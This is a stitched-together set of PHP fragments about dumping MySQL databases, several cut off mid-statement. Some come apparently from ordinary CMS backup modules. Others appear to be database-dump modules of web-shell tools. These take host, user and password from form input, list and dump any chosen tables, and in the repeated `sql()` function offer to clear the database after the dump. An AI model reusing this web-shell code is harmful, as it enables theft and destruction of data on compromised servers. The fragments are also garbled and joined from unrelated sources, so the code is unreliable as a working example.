if ($doing == 'backupmysql' && $saveasfile) { if (!$table) { m('Please choose the table'); } else { mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $table = array_flip($table); $fp = @fopen($path, 'w'); if ($fp) { $result = q('SHOW tables'); if (!$result) { p('<h2>' . mysql_error() . '</h2>'); } $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0], $fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT, '', $path); m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>'); mysql_close(); } else { m('Backup failed'); } } } if ($insert && $insertsql) { $keystr = $valstr = $tmp = ''; foreach ($insertsql as $key => $val) { if ($val) {
} } if ($do == "backup") { $filename = date('ymd') . '_' . pb_radom(6); $db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT'); $time = gmdate("M d Y H:i:s", mktime(date("H"), date("i"), date("s"), date("m"), date("d"), date("Y"))); $tables = arraykeys2(fetchtablelist($tb_prefix), 'Name'); if (mysql_get_server_info() > '4.1') { $db->query("set names '" . $dbcharset . "'"); } $backupfilename = DATA_PATH . "backup_" . $backupdir . DS . str_replace(array('/', '\\', '.'), '', $filename); $sqldump = ''; $tableid = 0; $startfrom = 0; for (; $tableid < count($tables); $tableid++) { $sqldump .= sqldumptable($tables[$tableid], $startfrom, strlen($sqldump)); $startfrom = 0; } $dumpfile = $backupfilename . '.sql'; $tableid--; if (trim($sqldump)) { $fp = file_put_contents($dumpfile, $sqldump); unset($sqldump); $result = $pdb->Execute("UPDATE {$tb_prefix}settings SET valued=" . $time_stamp . " WHERE variable='last_backup'"); $data['handle_type'] = 'info'; $data['source_module'] = 'backup'; $data['description'] = $_POST['message']; $result = $log->Add($data); if ($result) { flash("success", 'db.php?do=restore'); } else {
$str2 .= "<B><div id='postingTag'></div></B>"; echo tabledata("{$str1}|{$str2}"); echo tableend(); ffooter(); eval(auto_submit_script()); exit; } } // 开始导出一页 $writefile_data = "<?\r\nif(!defined('VERSION')){echo \"<meta http-equiv=refresh content='0;URL={$_POST[filename]}.php'>\";exit;}\r\n"; $tablearr = array(); for (@reset($_POST[fsqltable]); count($_POST[fsqltable]) && @(list($key, $val) = @each($_POST[fsqltable]));) { $tablearr[] = $key; } for ($i = $_POST[tabledumping]; $i < count($tablearr); $i++) { sqldumptable($tablearr[$i], $i, 1); //导出表 } //结束最后文件 $data = "echo '<center><BR><BR><BR><BR>完成。所有数据都已经导入数据库中。</center>'; exit; ?" . ">"; $writefile_data .= "{$data}"; writefile($writefile_data, "w"); $backpassword = $_POST[back_pass] ? $_POST[back_pass] : "zbc5.com"; //引导文件内容 $data = '<? include "./../../../include/session.php"; include "./../../../include/dblink.php"; $usedumppass=1; //导入数据时是否使用导入密码。如果您忘记了导入密码,请把值改为 0 。HTTP方式下载数据文件不能取消导入密码。 define("VERSION","' . VERSION . '"); error_reporting(1);
} elseif (!is_dir(BACKUP_DIR . './' . $get['sqlpath'])) { if (!mkdir(BACKUP_DIR . './' . $get['sqlpath'], 0777)) { api_msg('mkdir_error', 'make dir error:' . BACKUP_DIR . './' . $get['sqlpath']); } } if (!isset($get['backupfilename']) || empty($get['backupfilename'])) { //note 若沒有指定備份文件名,則設定保存數據的文件名 $get['backupfilename'] = date('ymd', $timestamp) . '_' . random(6); } $sqldump = ''; $get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0; $get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0; //note count() 有待於優化 $complete = true; for (; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) { $sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump)); if ($complete) { $get['startfrom'] = 0; } } !$complete && $get['tableid']--; $dumpfile = BACKUP_DIR . $get['sqlpath'] . '/' . $get['backupfilename'] . '-' . $get['volume'] . '.sql'; if (trim($sqldump)) { $sqldump = "{$idstring}" . "# <?exit();?>\n" . "# {$apptype} Multi-Volume Data Dump Vol.{$get['volume']}\n" . "# Time: {$time}\n" . "# Type: {$apptype}\n" . "# Table Prefix: {$tablepre}\n" . "# {$dbcharset}\n" . "# {$apptype} Home: http://www.comsenz.com\n" . "# Please visit our website for newest infomation about {$apptype}\n" . "# --------------------------------------------------------\n\n\n" . $sqldump; @($fp = fopen($dumpfile, 'wb')); @flock($fp, 2); if (@(!fwrite($fp, $sqldump))) { @fclose($fp); api_msg('database_export_file_invalid', $dumpfile); } else { fclose($fp);
if (isset($dbname)) { $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"{$dbname}\" />\n"; } if (isset($charset)) { $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"{$charset}\" />\n"; } if ($doing == 'backupmysql' && $saveasfile) { if (!$table) { m('Please choose the table'); } else { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $fp = @fopen($path, 'w'); if ($fp) { foreach ($table as $k => $v) { if ($v) { sqldumptable($v, $fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT, '', $path); m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>'); mysql_close(); } else { m('Backup failed'); } } } if ($insert && $insertsql) { $keystr = $valstr = $tmp = ''; foreach ($insertsql as $key => $val) { if ($val) {
mysql_close(); } elseif ($_POST['do'] == 'backupmysql') { if (empty($_POST['table']) or empty($_POST['backuptype'])) { echo "请选择欲备份的数据表和备份方式!"; } else { if ($_POST['backuptype'] == 'server') { @mysql_connect($servername, $dbusername, $dbpassword) or die("数据库连接失败"); @mysql_select_db($dbname) or die("选择数据库失败"); $table = array_flip($_POST['table']); $filehandle = @fopen($path, "w"); if ($filehandle) { $result = mysql_query("SHOW tables"); echo $result ? NULL : "出错: " . mysql_error(); while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0], $filehandle); fwrite($filehandle, "\n\n\n"); } } fclose($filehandle); echo "数据库已成功备份到 <a href=\"" . $path . "\" target=\"_blank\">" . $path . "</a>"; mysql_close(); } else { echo "备份失败,请确认目标文件夹是否具有可写权限!"; } } } } elseif ($downrar) { if (!empty($dl)) { $dfiles = ""; foreach ($dl as $filepath => $value) {
$idstring = '# Identify: ' . base64_encode("{$timestamp},{$SABLOG_VERSION},{$volume}") . "\n"; //清除表内临时的数据 $DB->unbuffered_query("TRUNCATE TABLE {$db_prefix}searchindex"); $sqlcompat = in_array($sqlcompat, array('MYSQL40', 'MYSQL41')) ? $sqlcompat : ''; $setnames = intval($addsetnames) || $DB->version() > '4.1' && (!$sqlcompat || $sqlcompat == 'MYSQL41') ? "SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary;\n\n" : ''; if ($DB->version() > '4.1') { $DB->query("SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary;"); if ($sqlcompat == 'MYSQL40') { $DB->query("SET SQL_MODE='MYSQL40'"); } } $sqldump = ''; $tableid = $tableid ? $tableid - 1 : 0; $startfrom = (int) $startfrom; for ($i = $tableid; $i < count($tables) && getstrlen($sqldump) < $sizelimit * 1000; $i++) { $sqldump .= sqldumptable($tables[$i], $startfrom, getstrlen($sqldump)); $startfrom = 0; } $tableid = $i; if (trim($sqldump)) { $sqldump = "{$idstring}" . "# <?exit();?>\n" . "# Sablog-X bakfile Multi-Volume Data Dump Vol.{$volume}\n" . "# Version: {$SABLOG_VERSION}\n" . "# Time: " . sadate('Y-m-d H:i') . "\n" . "# Sablog-X: http://www.sablog.net\n" . "# --------------------------------------------------------\n\n\n" . $setnames . $sqldump; if (!writefile($sqlfilename, $sqldump)) { $location = getlink('tools', 'backup', array('message' => 8)); } else { redirect('分卷备份:数据文件 ' . $volume . ' 成功创建,程序将自动继续.', "cp.php?job=tools&action=dobackup&filename=" . rawurlencode($filename) . "&sizelimit=" . rawurlencode($sizelimit) . "&volume=" . rawurlencode($volume) . "&tableid=" . rawurlencode($tableid) . "&startfrom=" . rawurlencode($startrow) . "&sqlcompat=" . rawurlencode($sqlcompat)); } } else { $location = getlink('tools', 'filelist', array('message' => 9)); } } header("Location: {$location}");
function sql() { global $sqlaction, $sv_s, $sv_d, $drp_tbl, $g_fp, $file_type, $dbbase, $f_nm; $secu_config = "xtdump_conf.inc.php"; $dbhost = $_POST['dbhost']; $dbuser = $_POST['dbuser']; $dbpass = $_POST['dbpass']; $dbbase = $_POST['dbbase']; $tbls = $_POST['tbls']; $sqlaction = $_POST['sqlaction']; $secu = $_POST['secu']; $f_cut = $_POST['f_cut']; $max_sql = $_POST['max_sql']; $opt = $_POST['opt']; $savmode = $_POST['savmode']; $file_type = $_POST['file_type']; $ecraz = $_POST['ecraz']; $f_tbl = $_POST['f_tbl']; $drp_tbl = $_POST['drp_tbl']; $header = "<center><table width=620 cellpadding=0 cellspacing=0 align=center><col width=1><col width=600><col width=1><tr><td></td><td align=left class=texte><br>"; $footer = "<center><a href='javascript:history.go(-1)' target='_self' class=link>-назад-</a><br></center><br></td><td></td></tr><tr><td height=1 colspan=3></td></tr></table></center>" . nfm_copyright(); // SQL actions STARTS if ($sqlaction == 'save') { if ($secu == 1) { $fp = fopen($secu_config, "w"); fputs($fp, "<?php\n"); fputs($fp, "\$dbhost='{$dbhost}';\n"); fputs($fp, "\$dbbase='{$dbbase}';\n"); fputs($fp, "\$dbuser='******';\n"); fputs($fp, "\$dbpass='******';\n"); fputs($fp, "?>"); fclose($fp); } if (!is_array($tbls)) { echo $header . "\r\n<br><center><font color=red>ТЫ ЗАБЫЛ выделить нужные тебе таблицы для дампинга =)</b></font></center>\n{$footer}"; exit; } if ($f_cut == 1) { if (!is_numeric($max_sql)) { echo $header . "<br><center><font color=red><b>Ошибка.</b></font></center>\n{$footer}"; exit; } if ($max_sql < 200000) { echo $header . "<br><center><font color=red><b>база sql больше 200 000 мб</b></font></center>\n{$footer}"; exit; } } $tbl = array(); $tbl[] = reset($tbls); if (count($tbls) > 1) { $a = true; while ($a != false) { $a = next($tbls); if ($a != false) { $tbl[] = $a; } } } if ($opt == 1) { $sv_s = true; $sv_d = true; } else { if ($opt == 2) { $sv_s = true; $sv_d = false; $fc = "_struct"; } else { if ($opt == 3) { $sv_s = false; $sv_d = true; $fc = "_data"; } else { exit; } } } $fext = "." . $savmode; $fich = $dbbase . $fc . $fext; $dte = ""; if ($ecraz != 1) { $dte = date("dMy_Hi") . "_"; } $gz = ""; if ($file_type == '1') { $gz .= ".gz"; } $fcut = false; $ftbl = false; $f_nm = array(); if ($f_cut == 1) { $fcut = true; $max_sql = $max_sql; $nbf = 1; $f_size = 170; } if ($f_tbl == 1) { $ftbl = true; } else { if (!$fcut) { open_file("dump_" . $dte . $dbbase . $fc . $fext . $gz); } else { open_file("dump_" . $dte . $dbbase . $fc . "_1" . $fext . $gz); } } $nbf = 1; mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbbase); if ($fext == ".sql") { if ($ftbl) { while (list($i) = each($tbl)) { $temp = sqldumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut) { open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz); $nbf = 0; $p_sql = split_sql_file($temp); while (list($j, $val) = each($p_sql)) { if (file_pos() + 6 + strlen($val) < $max_sql) { write_file($val . ";"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".sql" . $gz); write_file($val . ";"); } } close_file(); } else { open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz); write_file($temp . "\n\n"); close_file(); $nbf = 1; } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } else { $tblsv = ""; while (list($i) = each($tbl)) { $temp = sqldumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut && file_pos() + $sz_t > $max_sql) { $p_sql = split_sql_file($temp); while (list($j, $val) = each($p_sql)) { if (file_pos() + 6 + strlen($val) < $max_sql) { write_file($val . ";"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $dbbase . $fc . "_" . $nbf . ".sql" . $gz); write_file($val . ";"); } } } else { write_file($temp); } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } } else { if ($fext == ".csv") { if ($ftbl) { while (list($i) = each($tbl)) { $temp = csvdumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut) { open_file("dump_" . $dte . $tbl[$i] . $fc . ".csv" . $gz); $nbf = 0; $p_csv = split_csv_file($temp); while (list($j, $val) = each($p_csv)) { if (file_pos() + 6 + strlen($val) < $max_sql) { write_file($val . "\n"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".csv" . $gz); write_file($val . "\n"); } } close_file(); } else { open_file("dump_" . $dte . $tbl[$i] . $fc . ".csv" . $gz); write_file($temp . "\n\n"); close_file(); $nbf = 1; } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } else { while (list($i) = each($tbl)) { $temp = csvdumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut && file_pos() + $sz_t > $max_sql) { $p_csv = split_sql_file($temp); while (list($j, $val) = each($p_csv)) { if (file_pos() + 6 + strlen($val) < $max_sql) { write_file($val . "\n"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $dbbase . $fc . "_" . $nbf . ".csv" . $gz); write_file($val . "\n"); } } } else { write_file($temp); } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } } } mysql_close(); if (!$ftbl) { close_file(); } echo $header; echo "<br><center>Все данные в этих таблицах:<br> " . $tblsv . " помещены в файл указанный ниже:<br><br></center><table border='0' align='center' cellpadding='0' cellspacing='0'><col width=1 bgcolor='#2D7DA7'><col valign=center><col width=1 bgcolor='#2D7DA7'><col valign=center align=right><col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>Файл</b></font></td><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>Размер</b></font></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; reset($f_nm); while (list($i, $val) = each($f_nm)) { $coul = '#99CCCC'; if ($i % 2) { $coul = '#CFE3E3'; } echo "<tr><td></td><td bgcolor=" . $coul . " class=texte> <a href='" . $val . "' class=link target='_blank'>" . $val . " </a></td><td></td>"; $fz_tmp = filesize($val); if ($fcut && $fz_tmp > $max_sql) { echo "<td bgcolor=" . $coul . " class=texte> <font size=1 color=red>" . $fz_tmp . " Octets</font> </td><td></td></tr>"; } else { echo "<td bgcolor=" . $coul . " class=texte> <font size=1>" . $fz_tmp . " байт</font> </td><td></td></tr>"; } echo "<tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; } echo "</table><br>"; echo $footer; exit; } if ($sqlaction == 'connect') { if (!@mysql_connect($dbhost, $dbuser, $dbpass)) { echo $header . "<br><center><font color=red><b>Подключение не возможно! Проверьте правильно ли введены данные!</b></font></center>\n{$footer}"; exit; } if (!@mysql_select_db($dbbase)) { echo $header . "<br><center><font color=red><<b>Подключение не возможно! Проверьте правельно ли введины данные!</b></font></center>\n{$footer}"; exit; } if ($secu == 1) { if (!file_exists($secu_config)) { $fp = fopen($secu_config, "w"); fputs($fp, "<?php\n"); fputs($fp, "\$dbhost='{$dbhost}';\n"); fputs($fp, "\$dbbase='{$dbbase}';\n"); fputs($fp, "\$dbuser='******';\n"); fputs($fp, "\$dbpass='******';\n"); fputs($fp, "?>"); fclose($fp); } include $secu_config; } else { if (file_exists($secu_config)) { unlink($secu_config); } } mysql_connect($dbhost, $dbuser, $dbpass); $tables = mysql_list_tables($dbbase); $nb_tbl = mysql_num_rows($tables); echo $header . "<script language='javascript'> function checkall() { var i=0;while (i < {$nb_tbl}) { a='tbls['+i+']';document.formu.elements[a].checked=true;i=i+1;} } function decheckall() { var i=0;while (i < {$nb_tbl}) { a='tbls['+i+']';document.formu.elements[a].checked=false;i=i+1;} } </script><center><br><b>Выбирите нужные вам таблицы для дампинга!</b><form action='' method='post' name=formu><input type='hidden' name='sqlaction' value='save'><input type='hidden' name='dbhost' value='{$dbhost}'><input type='hidden' name='dbbase' value='{$dbbase}'><input type='hidden' name='dbuser' value='{$dbuser}'><input type='hidden' name='dbpass' value='{$dbpass}'><DIV ID='infobull'></DIV><table border='0' width='400' align='center' cellpadding='0' cellspacing='0' class=texte><col width=1 bgcolor='#2D7DA7'><col width=30 align=center valign=center><col width=1 bgcolor='#2D7DA7'><col width=350> <col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#336699'><input type='checkbox' name='selc' alt='Выделить всё' onclick='if (document.formu.selc.checked==true){checkall();}else{decheckall();}')\"></td><td></td><td bgcolor='#338CBD' align=center><B>Названия таблиц</b></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; $i = 0; while ($i < mysql_num_rows($tables)) { $coul = '#99CCCC'; if ($i % 2) { $coul = '#CFE3E3'; } $tb_nom = mysql_tablename($tables, $i); echo "<tr><td></td><td bgcolor='" . $coul . "'><input type='checkbox' name='tbls[" . $i . "]' value='" . $tb_nom . "'></td><td></td><td bgcolor='" . $coul . "'> " . $tb_nom . "</td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; $i++; } mysql_close(); echo "</table><br><br><table align=center border=0><tr><td align=left class=texte> <hr> <input type='radio' name='savmode' value='csv'> \r\n Сохранить в формате csv (*.<i>csv</i>)<br> <input type='radio' name='savmode' value='sql' checked> \r\n Сохранить в формате Sql (*.<i>sql</i>)<br> <hr> <input type='radio' name='opt' value='1' checked>\r\n Сохранить структуру и данные<br> <input type='radio' name='opt' value='2'>\r\n Сохранить только структуру<br> <input type='radio' name='opt' value='3'>\r\n Сохранить только данные<br> <hr> <input type='Checkbox' name='drp_tbl' value='1' checked>\r\n Перезаписывать файл, если существует<br> <input type='Checkbox' name='ecraz' value='1' checked>\r\n Очистить базу после создания дампа<br> <input type='Checkbox' name='f_tbl' value='1'> \r\n Помещать каждую таблицу в отдельный файл<br> <input type='Checkbox' name='f_cut' value='1'>\r\n Максимальный размер одного дамп-файла: <input type='text' name='max_sql' value='200000' class=form>\r\n Octets<br> <input type='Checkbox' name='file_type' value='1'>\r\n Gzip.<br> \r\n </td></tr></table><br><br><input type='submit' value=' Задампить:) ' class=form></form></center>{$footer}"; exit; } // SQL actions END if (file_exists($secu_config)) { include $secu_config; $ck = "checked"; } else { $dbhost = "localhost"; $dbbase = ""; $dbuser = "******"; $dbpass = ""; $ck = ""; } echo $header . "\r\n<table width=620 cellpadding=0 cellspacing=0 align=center> \r\n <col width=1> \r\n <col width=600> \r\n <col width=1> \r\n <tr>\r\n <td></td>\r\n <td align=left class=texte>\r\n <br>\r\n <form action='' method='post'>\r\n <input type='hidden' name='sqlaction' value='connect'> \r\n <table border=0 align=center> \r\n <col> \r\n <col align=left> \r\n <tr>\r\n <td colspan=2 align=center style='font:bold 9pt;font-family:verdana;'>Введите данные для подключению к mySQL серверу!<br><br></td> \r\n </tr> \r\n <tr>\r\n <td class=texte>Адрес сервера:</td> \r\n <td><INPUT TYPE='TEXT' NAME='dbhost' SIZE='30' VALUE='localhost' class=form></td>\r\n </tr> \r\n <tr>\r\n <td class=texte>Название базы:</td> \r\n <td><INPUT TYPE='TEXT' NAME='dbbase' SIZE='30' VALUE='' class=form></td> \r\n </tr> \r\n <tr>\r\n <td class=texte>Логин:</td> \r\n <td><INPUT TYPE='TEXT' NAME='dbuser' SIZE='30' VALUE='root' class=form></td> \r\n </tr> \r\n <tr>\r\n <td class=texte>Пароль</td> \r\n <td><INPUT TYPE='Password' NAME='dbpass' SIZE='30' VALUE='' class=form></td> \r\n </tr> \r\n </table> \r\n <br> <center> <br><br> \r\n <input type='submit' value=' Подключится ' class=form></center> </form> <br><br> \r\n </td> \r\n <td></td> \r\n </tr> \r\n <tr> \r\n <td height=1 colspan=3></td> \r\n </tr> \r\n</table>\r\n</center>"; }
function sql() { global $sqlaction, $sv_s, $sv_d, $drp_tbl, $g_fp, $file_type, $dbbase, $f_nm; $secu_config = "xtdump_conf.inc.php"; $dbhost = $_POST['dbhost']; $dbuser = $_POST['dbuser']; $dbpass = $_POST['dbpass']; $dbbase = $_POST['dbbase']; $tbls = $_POST['tbls']; $sqlaction = $_POST['sqlaction']; $secu = $_POST['secu']; $f_cut = $_POST['f_cut']; $fz_max = $_POST['fz_max']; $opt = $_POST['opt']; $savmode = $_POST['savmode']; $file_type = $_POST['file_type']; $ecraz = $_POST['ecraz']; $f_tbl = $_POST['f_tbl']; $drp_tbl = $_POST['drp_tbl']; $header = "<center><table width=620 cellpadding=0 cellspacing=0 align=center><col width=1><col width=600><col width=1><tr><td></td><td align=left class=texte><br>"; $footer = "<center><a href='javascript:history.go(-1)' target='_self' class=link>-go back-</a><br></center><br></td><td></td></tr><tr><td height=1 colspan=3></td></tr></table></center>" . nfm_copyright(); // SQL actions STARTS if ($sqlaction == 'save') { if ($secu == 1) { $fp = fopen($secu_config, "w"); fputs($fp, "<?php\n"); fputs($fp, "\$dbhost='{$dbhost}';\n"); fputs($fp, "\$dbbase='{$dbbase}';\n"); fputs($fp, "\$dbuser='******';\n"); fputs($fp, "\$dbpass='******';\n"); fputs($fp, "?>"); fclose($fp); } if (!is_array($tbls)) { echo $header . "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\n\n<br><center><font color=red>You forgot to check tables, which you need to dump =)</b></font></center>\n{$footer}"; exit; } if ($f_cut == 1) { if (!is_numeric($fz_max)) { echo $header . "<br><center><font color=red><b>Veuillez choisir une valeur num?rique ? la taille du fichier ? scinder.</b></font></center>\n{$footer}"; exit; } if ($fz_max < 200000) { echo $header . "<br><center><font color=red><b>Veuillez choisir une taille de fichier a scinder sup\n\n rieure ? 200 000 Octets.</b></font></center>\n{$footer}"; exit; } } $tbl = array(); $tbl[] = reset($tbls); if (count($tbls) > 1) { $a = true; while ($a != false) { $a = next($tbls); if ($a != false) { $tbl[] = $a; } } } if ($opt == 1) { $sv_s = true; $sv_d = true; } else { if ($opt == 2) { $sv_s = true; $sv_d = false; $fc = "_struct"; } else { if ($opt == 3) { $sv_s = false; $sv_d = true; $fc = "_data"; } else { exit; } } } $fext = "." . $savmode; $fich = $dbbase . $fc . $fext; $dte = ""; if ($ecraz != 1) { $dte = date("dMy_Hi") . "_"; } $gz = ""; if ($file_type == '1') { $gz .= ".gz"; } $fcut = false; $ftbl = false; $f_nm = array(); if ($f_cut == 1) { $fcut = true; $fz_max = $fz_max; $nbf = 1; $f_size = 170; } if ($f_tbl == 1) { $ftbl = true; } else { if (!$fcut) { open_file("dump_" . $dte . $dbbase . $fc . $fext . $gz); } else { open_file("dump_" . $dte . $dbbase . $fc . "_1" . $fext . $gz); } } $nbf = 1; mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbbase); if ($fext == ".sql") { if ($ftbl) { while (list($i) = each($tbl)) { $temp = sqldumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut) { open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz); $nbf = 0; $p_sql = split_sql_file($temp); while (list($j, $val) = each($p_sql)) { if (file_pos() + 6 + strlen($val) < $fz_max) { write_file($val . ";"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".sql" . $gz); write_file($val . ";"); } } close_file(); } else { open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz); write_file($temp . "\n\n"); close_file(); $nbf = 1; } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } else { $tblsv = ""; while (list($i) = each($tbl)) { $temp = sqldumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut && file_pos() + $sz_t > $fz_max) { $p_sql = split_sql_file($temp); while (list($j, $val) = each($p_sql)) { if (file_pos() + 6 + strlen($val) < $fz_max) { write_file($val . ";"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $dbbase . $fc . "_" . $nbf . ".sql" . $gz); write_file($val . ";"); } } } else { write_file($temp); } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } } else { if ($fext == ".csv") { if ($ftbl) { while (list($i) = each($tbl)) { $temp = csvdumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut) { open_file("dump_" . $dte . $tbl[$i] . $fc . ".csv" . $gz); $nbf = 0; $p_csv = split_csv_file($temp); while (list($j, $val) = each($p_csv)) { if (file_pos() + 6 + strlen($val) < $fz_max) { write_file($val . "\n"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".csv" . $gz); write_file($val . "\n"); } } close_file(); } else { open_file("dump_" . $dte . $tbl[$i] . $fc . ".csv" . $gz); write_file($temp . "\n\n"); close_file(); $nbf = 1; } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } else { while (list($i) = each($tbl)) { $temp = csvdumptable($tbl[$i]); $sz_t = strlen($temp); if ($fcut && file_pos() + $sz_t > $fz_max) { $p_csv = split_sql_file($temp); while (list($j, $val) = each($p_csv)) { if (file_pos() + 6 + strlen($val) < $fz_max) { write_file($val . "\n"); } else { close_file(); $nbf++; open_file("dump_" . $dte . $dbbase . $fc . "_" . $nbf . ".csv" . $gz); write_file($val . "\n"); } } } else { write_file($temp); } $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>"; } } } } mysql_close(); if (!$ftbl) { close_file(); } echo $header; echo "<br><center>All the data in these tables:<br> " . $tblsv . " were putted to this file:<br><br></center><table border='0' align='center' cellpadding='0' cellspacing='0'><col width=1 bgcolor='#2D7DA7'><col valign=center><col width=1 bgcolor='#2D7DA7'><col valign=center align=right><col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>File</b></font></td><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>Size</b></font></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; reset($f_nm); while (list($i, $val) = each($f_nm)) { $coul = '#99CCCC'; if ($i % 2) { $coul = '#CFE3E3'; } echo "<tr><td></td><td bgcolor=" . $coul . " class=texte> <a href='" . $val . "' class=link target='_blank'>" . $val . " </a></td><td></td>"; $fz_tmp = filesize($val); if ($fcut && $fz_tmp > $fz_max) { echo "<td bgcolor=" . $coul . " class=texte> <font size=1 color=red>" . $fz_tmp . " Octets</font> </td><td></td></tr>"; } else { echo "<td bgcolor=" . $coul . " class=texte> <font size=1>" . $fz_tmp . " bites</font> </td><td></td></tr>"; } echo "<tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; } echo "</table><br>"; echo $footer; exit; } if ($sqlaction == 'connect') { if (!@mysql_connect($dbhost, $dbuser, $dbpass)) { echo $header . "<br><center><font color=red><b>Unable to connect! Check your data input!</b></font></center>\n{$footer}"; exit; } if (!@mysql_select_db($dbbase)) { echo $header . "<br><center><font color=red><<b>Unable to connect! Check your data input!</b></font></center>\n{$footer}"; exit; } if ($secu == 1) { if (!file_exists($secu_config)) { $fp = fopen($secu_config, "w"); fputs($fp, "<?php\n"); fputs($fp, "\$dbhost='{$dbhost}';\n"); fputs($fp, "\$dbbase='{$dbbase}';\n"); fputs($fp, "\$dbuser='******';\n"); fputs($fp, "\$dbpass='******';\n"); fputs($fp, "?>"); fclose($fp); } include $secu_config; } else { if (file_exists($secu_config)) { unlink($secu_config); } } mysql_connect($dbhost, $dbuser, $dbpass); $tables = mysql_list_tables($dbbase); $nb_tbl = mysql_num_rows($tables); echo $header . "<script language='javascript'> function checkall() { var i=0;while (i < {$nb_tbl}) { a='tbls['+i+']';document.formu.elements[a].checked=true;i=i+1;} } function decheckall() { var i=0;while (i < {$nb_tbl}) { a='tbls['+i+']';document.formu.elements[a].checked=false;i=i+1;} } </script><center><br><b>Choose tables you need to dump!</b><form action='' method='post' name=formu><input type='hidden' name='sqlaction' value='save'><input type='hidden' name='dbhost' value='{$dbhost}'><input type='hidden' name='dbbase' value='{$dbbase}'><input type='hidden' name='dbuser' value='{$dbuser}'><input type='hidden' name='dbpass' value='{$dbpass}'><DIV ID='infobull'></DIV><table border='0' width='400' align='center' cellpadding='0' cellspacing='0' class=texte><col width=1 bgcolor='#2D7DA7'><col width=30 align=center valign=center><col width=1 bgcolor='#2D7DA7'><col width=350> <col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#336699'><input type='checkbox' name='selc' alt='Check all' onclick='if (document.formu.selc.checked==true){checkall();}else{decheckall();}')\"></td><td></td><td bgcolor='#338CBD' align=center><B>Table names</b></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; $i = 0; while ($i < mysql_num_rows($tables)) { $coul = '#99CCCC'; if ($i % 2) { $coul = '#CFE3E3'; } $tb_nom = mysql_tablename($tables, $i); echo "<tr><td></td><td bgcolor='" . $coul . "'><input type='checkbox' name='tbls[" . $i . "]' value='" . $tb_nom . "'></td><td></td><td bgcolor='" . $coul . "'> " . $tb_nom . "</td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; $i++; } mysql_close(); echo "</table><br><br><table align=center border=0><tr><td align=left class=texte> <hr> <input type='radio' name='savmode' value='csv'>\n\n Save to csv (*.<i>csv</i>)<br> <input type='radio' name='savmode' value='sql' checked>\n\n Save to Sql (*.<i>sql</i>)<br> <hr> <input type='radio' name='opt' value='1' checked>\n\n Save structure and data<br> 